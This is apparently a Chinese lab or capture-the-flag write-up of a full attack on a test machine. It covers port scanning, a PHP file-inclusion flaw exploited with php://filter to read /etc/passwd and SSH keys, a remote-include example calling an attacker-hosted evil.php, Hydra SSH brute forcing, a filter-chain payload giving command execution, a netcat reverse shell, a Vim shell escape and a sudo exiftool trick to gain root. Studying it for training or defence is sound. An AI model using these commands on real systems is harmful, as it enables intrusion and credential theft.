-
- 前言
- 正文
-
- 1、端口扫描
- 2、PHP任意文件读取漏洞利用
-
- 方法(1):读取服务器用户信息,开展用户密码爆破:
- [方法(2):使用php_filter_chain_generator.py 脚本,获取shell权限](#方法(2):使用php_filter_chain_generator.py 脚本,获取shell权限)
- [3、Vim 编辑器提权 / 逃逸](#3、Vim 编辑器提权 / 逃逸)
- [4、SUID 权限劫持 / 文件覆盖](#4、SUID 权限劫持 / 文件覆盖)
前言
本文重点讲解了如何利用PHP任意文件读取漏洞进行渗透测试。通过nmap扫描发现目标开放端口后,使用Wfuzz工具模糊测试找到可利用参数cmd,进而利用php://filter伪协议读取服务器文件内容。
正文
1、端口扫描
bash
nmap -sV -v -T4 -A 192.168.31.28
发现80和22端口是开放的。
dirseach扫描,发现/file.php是可以访问的:

底下提示可以漏洞绕过的方式。
我们可以使用 Wfuzz 工具对目标 URL(http://192.168.3.146/file.php)进行模糊测试(Fuzzing),核心目的是**找到该 PHP 文件中可利用的参数名 ,**进而尝试读取服务器的 /etc/passwd 文件。
bash
wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.31.28/file.php?FUZZ=/etc/passwd --hh 973

-w路径:指定字典文件(common.txt 是 SecLists 库中存放常用 Web 参数名的字典,比如 cmd、id、file 等);-uURL:指定测试的目标 URL,其中 FUZZ 是 Wfuzz 的占位符,会被字典里的内容逐个替换;--hh973:过滤规则 ------ 忽略响应长度为 973 的结果(减少无效输出,只保留有差异的响应)。
| 字段 | 含义 | 解读 |
|---|---|---|
0000011414 |
请求序号 | 第 1141 次请求命中有效结果 |
200 |
HTTP 响应码 | 服务器返回 200 OK(请求成功) |
62 L / 102 W / 2403 Ch |
响应行数 / 单词数 / 字符数 | 响应内容有实际数据,不是空页面 |
"cmd" |
替换 FUZZ 的 payload | 当 FUZZ 被替换为 cmd 时,测试成功 |
2、PHP任意文件读取漏洞利用
通过 PHP 内置的 php://filter 伪协议,以 Base64 编码的方式读取目标服务器上 file.php 文件的源代码:
html
http://192.168.31.28/file.php?cmd=php://filter/convert.base64-encode/resource=file.php
| 部分 | 作用 | 解读 |
|---|---|---|
php://filter |
PHP 伪协议 | 专门用于过滤 / 处理数据流的内置协议,可读取文件内容(无权限限制时) |
convert.base64-encode |
过滤规则 | 对读取的文件内容进行 Base64 编码(核心!) → 因为直接读取 PHP 文件会被服务器解析(只返回执行结果,看不到源码),Base64 编码后能拿到原始源码的编码串 |
resource=file.php |
目标资源 | 指定要读取的文件是当前目录下的 file.php(也可替换为其他文件,如 /etc/passwd、/root/.ssh/id_rsa) |
在 Linux 终端执行base64解码:
bash
echo "返回的Base64串" | base64 -d

这个漏洞的核心危害是:攻击者可通过 cmd 参数控制 include() 加载的文件,实现多种攻击:
-
- 任意文件读取
构造 URL:file.php?cmd=/etc/passwd→ 直接读取 Linux 系统核心密码文件;
构造 URL:file.php?cmd=/root/.ssh/id_rsa→ 读取 root 用户的 SSH 私钥(拿到后可免密登录 root);
- 任意文件读取
-
- 远程代码执行(更严重)
如果服务器开启了 allow_url_include=On(PHP 配置),还能加载远程恶意文件:
构造 URL:file.php?cmd=http://攻击者IP/evil.php→ 执行攻击者服务器上的恶意 PHP 代码(比如反弹 shell、提权)。
- 远程代码执行(更严重)
-
- 本地文件包含(LFI)
即使没有远程包含权限,也能读取服务器上的任意本地文件(如配置文件、日志、其他脚本源码)。
- 本地文件包含(LFI)
这里我们执行第一种攻击,读取用户:
html
http://192.168.31.28/file.php?cmd=/etc/passwd

方法(1):读取服务器用户信息,开展用户密码爆破:
使用 Hydra(九头蛇)暴力破解工具,对靶机的 SSH 服务进行用户名 + 密码的批量暴力破解:
html
hydra -L user.txt -P pass.txt 192.168.31.28 ssh -V -f -e nsr
| 参数 | 完整含义 | 通俗解读 |
|---|---|---|
-L user.txt |
-L = Load 用户名字典(大写 L) |
从 user.txt 文件中读取多个用户名(批量测试,比如 root、asahi、fuzzz 等) |
-P pass.txt |
-P = Load 密码字典(大写 P) |
从 pass.txt 文件中读取多个密码(批量测试,比如 123456、password、admin 等) |
ssh://192.168.31.28 |
指定破解的服务和目标 | 对 192.168.31.28 的 SSH 服务(22 端口,默认)进行破解 |
-V |
Verbose 详细模式 | 显示每一次破解的尝试过程(比如 "测试用户 root,密码 123456 → 失败"),方便看进度 |
-I |
Ignore 忽略已破解的目标 | 如果已经找到一个有效凭证,不重复测试该目标(避免无效耗时) |
-f |
Finish 找到有效凭证后立即停止 | 一旦破解出一个能用的 "用户名 + 密码",立刻终止破解(节省时间) |
-u |
Username first 先遍历用户名 | 破解逻辑:先固定一个用户名,遍历所有密码;再换下一个用户名(默认是先固定密码,遍历用户名) |
-e nsr |
Extra 额外尝试的密码规则 | 对每个用户名,额外测试 3 种常见密码: • n = 空密码(用户名 + 空密码) • s = 密码和用户名相同(比如用户 asahi,密码 asahi) • r = 密码是用户名的反向(比如用户 asahi,密码 ihasa) |
用了一会儿时间,拿到用户密码:

方法(2):使用php_filter_chain_generator.py 脚本,获取shell权限
通过脚本,将普通 PHP 代码转换成 php://filter 伪协议的多层编码链:
bash
python3 php_filter_chain_generator.py --chain '<?php system($_GET["a"]);?>'

链接后拼接&a=id,注入成功。

通过nc获取shell交互界面:
html
&a=busybox nc 192.168.31.188 4444 -e /bin/bash

也能拿到用户密码:

看一下可以执行的权限:

看一下laoda程序都有哪些功能:
html
sudo -u lzh /opt/laoda -h

3、Vim 编辑器提权 / 逃逸
通过输入命令:
html
:set shell=/bin/bash
:shell

强制修改 Vim 调用的 shell 为完整的 bash,成功拿到lzh用户权限,查看允许普通用户免密 sudo 执行的程序:

4、SUID 权限劫持 / 文件覆盖
执行提权下可操作的命令:
html
sudo /usr/bin/exiftool -filename=./a /usr/bin/figlet
| 代码段 | 含义 & 作用 | 通俗解读 |
|---|---|---|
/usr/bin/exiftool |
调用系统中的 exiftool 工具 | 一款专业的元数据编辑工具,可修改文件的 EXIF / 文件名等属性 |
-filename=./a |
exiftool 的核心参数:修改目标文件的文件名 | 把目标文件的 "文件名元数据"(或物理文件名)改成 ./a(当前目录下名为 a 的文件) |
/usr/bin/figlet |
被操作的目标文件 | 系统自带的 figlet 工具(用于生成字符画),这里是要修改的对象 |
bash
cp /bin/bash .
sudo /usr/bin/exiftool -filename=/usr/bin/figlet bash
sudo /usr/bin/figlet
